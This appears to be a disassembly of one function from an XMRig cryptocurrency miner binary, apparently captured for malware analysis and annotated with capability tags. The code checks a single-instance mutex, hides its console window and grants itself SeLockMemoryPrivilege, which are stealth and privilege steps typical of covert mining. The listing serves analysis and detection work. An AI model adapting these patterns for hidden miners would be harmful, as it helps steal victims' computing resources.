Function at 0x1400e9e60
Capabilities:
Check mutex on windows
Create thread
Manipulate user privileges

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xf0
mov qword [rbp - 1], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rsi, rdx
movsxd rbx, ecx
lea r8, str.sfdkjjhgkdsfhgjkjjsd
mov edi, 1
mov edx, edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateMutexW]
call qword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x1400e9eeb
call fcn.1400b2ae0
mov r8d, eax
mov eax, 0x68db8bad
imul r8d
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x2710
sub r8d, ecx
imul ecx, r8d, 0x3e8
call qword [sym.imp.KERNEL32.DLL_Sleep]
xor eax, eax
jmp 0x1400ea5f7
xor r12d, r12d
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8, [0x1400ea620]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
lea rax, [rbp - 0x29]
mov qword [rbp - 0x71], rax
mov qword [rbp - 0x29], rsi
mov dword [rbp - 0x21], ebx
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x19], xmm0
mov qword [rbp - 9], r12
mov r14, rbx
mov ebx, r12d
test r14, r14
je 0x1400e9f47
mov rdx, qword [rsi + rbx*8]
lea rcx, [rbp - 0x29]
call fcn.1400e1a70
inc rbx
cmp rbx, r14
jb 0x1400e9f32
call fcn.14008a674
mov rcx, rax
movabs rax, 0x346dc5d63886594b
imul rcx
sar rdx, 0xb
mov rcx, rdx
shr rcx, 0x3f
add rcx, rdx
lea rax, [rbp - 0x29]
xor ecx, eax
call fcn.1400b2b0c
nop
lea rcx, [rbp - 0x29]
call fcn.1400da140
test eax, eax
je 0x1400ea1b7
sub eax, 1
je 0x1400ea1a3
sub eax, 1
je 0x1400ea14c
cmp eax, 1
jne 0x1400ea5ec
mov ecx, 0x208
call fcn.14008c6bc
mov rbx, rax
test rax, rax
je 0x1400e9fc6
xor edx, edx
mov r8d, 0x208
mov rcx, rax
call fcn.1400aaf50
jmp 0x1400e9fc9
mov rbx, r12
test rbx, rbx
je 0x1400ea06b
mov ecx, 0x410
call qword [fcn.1400ad9b4]
mov rdi, rax
test rax, rax
jne 0x1400e9fef
mov ecx, 0xfffff027
jmp 0x1400ea070
mov r8d, 0x208
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
test eax, eax
jle 0x1400ea03e
cdqe
mov word [rdi + rax*2], r12w
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x208
mov qword [rsp + 0x20], rbx
mov r9d, 0xffffffff
mov r8, rdi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov esi, eax
test eax, eax
jne 0x1400ea059
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov esi, eax
mov rcx, rdi
call fcn.140067840
mov ecx, esi
call fcn.14006ef30
mov ecx, eax
jmp 0x1400ea070
mov rcx, rdi
call fcn.140067840
mov ecx, r12d
lea eax, [rsi - 1]
cdqe
jmp 0x1400ea075
mov ecx, 0xfffff019
mov eax, 0x208
test ecx, ecx
cmovs rax, r12
mov rcx, rbx
test rax, rax
jne 0x1400ea08d
call fcn.14008c1d0
mov rbx, r12
jmp 0x1400ea0f0
mov edx, 0x5c
call fcn.1400aa3f0
mov rdx, rax
test rax, rax
jne 0x1400ea0ac
mov rcx, rbx
call fcn.14008c1d0
mov rbx, r12
jmp 0x1400ea0f0
sub rdx, rbx
lea rax, [rdx + 0xe]
cmp rax, 0x208
jb 0x1400ea0c8
mov rcx, rbx
call fcn.14008c1d0
mov rbx, r12
jmp 0x1400ea0f0
mov byte [rdx + rbx], 0x5c
lea rcx, str.topology.xml
sub rdx, rcx
lea r8, [rdx + rbx]
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [r8 + rcx + 1], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400ea0e0
lea rcx, [rbp - 0x79]
call fcn.1400749e0
mov rcx, qword [rbp - 0x79]
call fcn.1400749f0
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rbp - 0x79]
call fcn.14007b510
cmp eax, 0xffffffff
jne 0x1400ea124
lea rcx, str.failed_to_export_hwloc_topology._n
call fcn.140005bf0
jmp 0x1400ea133
mov rdx, rbx
lea rcx, str.hwloc_topology_successfully_exported_to___s__n
call fcn.140005bf0
mov rcx, qword [rbp - 0x79]
call fcn.1400748a0
mov rcx, rbx
call fcn.14008c1d0
mov edi, r12d
jmp 0x1400ea5ec
lea rcx, str.h__n_built_on_Sep__4_2019_with_MSVC
call fcn.140005bf0
mov edx, 0x7e3
lea rcx, [0x14012c5dc]
call fcn.140005bf0
lea rcx, str._n_features:_64_bit_AES_n
call fcn.140005bf0
lea rdx, str.1.31.0
lea rcx, str._nlibuv__s_n
call fcn.140005bf0
lea rdx, str.2.0.4
lea rcx, str.hwloc__s_n
call fcn.140005bf0
mov edi, r12d
jmp 0x1400ea5ec
lea rcx, [0x14012c634]
call fcn.140005bf0
mov edi, r12d
jmp 0x1400ea5ec
lea rax, vtable.xmrig::App.1.0
mov qword [rbp - 0x61], rax
lea rax, vtable.xmrig::App.0
mov qword [rbp - 0x59], rax
mov qword [rbp - 0x51], r12
mov qword [rbp - 0x41], r12
mov ecx, 0x20
call fcn.14008c194
mov rbx, rax
mov qword [rbp - 0x71], rax
lea rax, vtable.xmrig::Base.0
mov qword [rbx], rax
mov ecx, 0x30
call fcn.14008c194
mov qword [rbp - 0x71], rax
mov qword [rax], r12
mov qword [rax + 8], r12
lea rcx, [rbp - 0x29]
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], r12
mov qword [rax + 0x20], r12
mov qword [rax + 0x28], r12
mov qword [rbx + 8], rax
lea rax, vtable.xmrig::Controller.0
mov qword [rbx], rax
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], r12
mov qword [rbp - 0x49], rbx
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x18]
lea r13, [0x1401519c0]
mov rdx, qword [rbp - 0x49]
test eax, eax
jne 0x1400ea2ef
mov rax, qword [rdx + 8]
mov rcx, qword [rax + 8]
cmp byte [rcx + 9], 0
jne 0x1400ea2ef
mov ecx, 0x18
call fcn.14008c194
mov rbx, rax
mov qword [rbp - 0x71], rax
lea rax, [rbp - 0x61]
mov qword [rbx + 8], rax
mov ecx, 0x158
call fcn.14008c194
mov qword [rbx + 0x10], rax
mov qword [rax], rbx
mov rcx, qword [0x140151990]
test rcx, rcx
jne 0x1400ea2af
call fcn.14006b480
test eax, eax
je 0x1400ea2a5
mov rcx, r12
jmp 0x1400ea2af
mov qword [0x140151990], r13
mov rcx, r13
xor r8d, r8d
mov rdx, qword [rbx + 0x10]
call fcn.1400634f0
mov rcx, qword [rbx + 0x10]
test dword [rcx + 0x58], 0x4000
je 0x1400ea2e7
mov edx, edi
call fcn.1400638c0
lea r8, [0x1400d5af0]
lea rdx, [0x1400d5b30]
mov rcx, qword [rbx + 0x10]
call fcn.140067520
nop
mov qword [rbp - 0x51], rbx
mov rdx, qword [rbp - 0x49]
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + select]
test al, al
jne 0x1400ea306
mov edi, 2
jmp 0x1400ea5e2
mov ecx, 0x20
call fcn.14008c194
mov rsi, rax
mov qword [rbp - 0x71], rax
lea rax, [rbp - 0x59]
mov qword [rsi], rax
lea r14, [rsi + 8]
mov r15, r12
lea rdi, [0x14012d000]
nop dword [rax]
mov ecx, 0x108
call fcn.14008c194
mov rbx, rax
mov qword [rax], rsi
mov qword [r14], rax
mov rdx, qword [0x140151990]
test rdx, rdx
jne 0x1400ea367
call fcn.14006b480
test eax, eax
je 0x1400ea35d
mov rdx, r12
jmp 0x1400ea367
mov qword [0x140151990], r13
mov rdx, r13
mov qword [rbx + 8], rdx
mov dword [rbx + select], 0x10
mov dword [rbx + 0x58], 8
lea rcx, [rbx + 0x20]
lea rax, [rdx + 0x10]
mov qword [rcx], rax
mov rax, qword [rdx + 0x18]
mov qword [rbx + 0x28], rax
mov qword [rax], rcx
mov qword [rdx + 0x18], rcx
mov dword [rbx + 0x30], 0xffffffff
mov dword [rbx + 0x100], r12d
mov dword [rbx + 0x68], r12d
mov qword [rbx + 0x60], r12
mov dword [rbx + 0x98], select
mov qword [rbx + 0xd0], r12
mov qword [rbx + 0x90], rbx
mov r8d, dword [r15 + rdi]
mov rcx, rbx
call fcn.140068810
add r15, 4
add r14, 8
cmp r15, 0xc
jb 0x1400ea330
mov qword [rbp - 0x41], rsi
mov rdx, qword [rbp - 0x49]
mov rax, qword [rdx + 8]
mov rcx, qword [rax + 8]
cmp byte [rcx + 9], 0
mov edi, 1
je 0x1400ea430
call qword [sym.imp.KERNEL32.DLL_GetConsoleWindow]
test rax, rax
je 0x1400ea412
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
jmp 0x1400ea42c
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.DLL_GetStdHandle]
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
call qword [sym.imp.KERNEL32.DLL_FreeConsole]
mov rdx, qword [rbp - 0x49]
mov rax, qword [rdx + 8]
mov rcx, qword [rax + 8]
cmp byte [rcx + 0xa1], 0
je 0x1400ea571
mov dword [0x140150334], 2
call fcn.1400eb5d0
test eax, eax
jne 0x1400ea567
mov rbx, r12
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x69]
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
cmp eax, edi
jne 0x1400ea56d
mov dword [rbp - 0x79], r12d
lea rax, [rbp - 0x79]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, edi
mov rcx, qword [rbp - 0x69]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov r9d, dword [rbp - 0x79]
test r9d, r9d
je 0x1400ea4bc
mov edx, r9d
mov ecx, 0x40
call qword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov rbx, rax
mov r9d, dword [rbp - 0x79]
lea rax, [rbp - 0x79]
mov qword [rsp + 0x20], rax
mov r8, rbx
mov edx, edi
mov rcx, qword [rbp - 0x69]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov rcx, qword [rbp - 0x69]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
test rbx, rbx
je 0x1400ea56d
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
movups xmmword [rbp + 0x17], xmm0
movups xmmword [rbp + 0x27], xmm0
mov esi, r12d
lea r9, [rbp - 0x71]
mov r8d, 0xf0fff
lea rdx, [rbp + 7]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LsaOpenPolicy]
test eax, eax
jne 0x1400ea551
lea rax, str.SeLockMemoryPrivilege
mov qword [rbp - 0x31], rax
mov dword [rbp - 0x39], 0x2c002a
movaps xmm0, xmmword [rbp - 0x39]
movdqa xmmword [rbp - 0x39], xmm0
mov r9d, edi
lea r8, [rbp - 0x39]
mov rdx, qword [rbx]
mov rcx, qword [rbp - 0x71]
call qword [sym.imp.ADVAPI32.dll_LsaAddAccountRights]
test eax, eax
cmove esi, edi
mov rcx, qword [rbp - 0x71]
call qword [sym.imp.ADVAPI32.dll_LsaClose]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_LocalFree]
test esi, esi
je 0x1400ea56d
call fcn.1400eb5d0
test eax, eax
je 0x1400ea56d
or dword [0x140150334], edi
mov rdx, qword [rbp - 0x49]
mov rax, qword [rdx + 8]
mov rcx, qword [rax + 8]
cmp byte [rcx + 0xa], 0
je 0x1400ea584
mov edi, r12d
jmp 0x1400ea5e2
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + 0x20]
mov rcx, qword [0x140151990]
test rcx, rcx
jne 0x1400ea5b1
call fcn.14006b480
test eax, eax
je 0x1400ea5a7
mov rcx, r12
jmp 0x1400ea5b1
mov qword [0x140151990], r13
mov rcx, r13
call fcn.14006bc40
mov edi, eax
mov rcx, qword [0x140151990]
test rcx, rcx
jne 0x1400ea5dc
call fcn.14006b480
test eax, eax
je 0x1400ea5d2
mov rcx, r12
jmp 0x1400ea5dc
mov qword [0x140151990], r13
mov rcx, r13
call fcn.140067a50
nop
lea rcx, [rbp - 0x61]
call fcn.1400e5650
nop
lea rcx, [rbp - 0x19]
call fcn.140005ca0
mov eax, edi
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret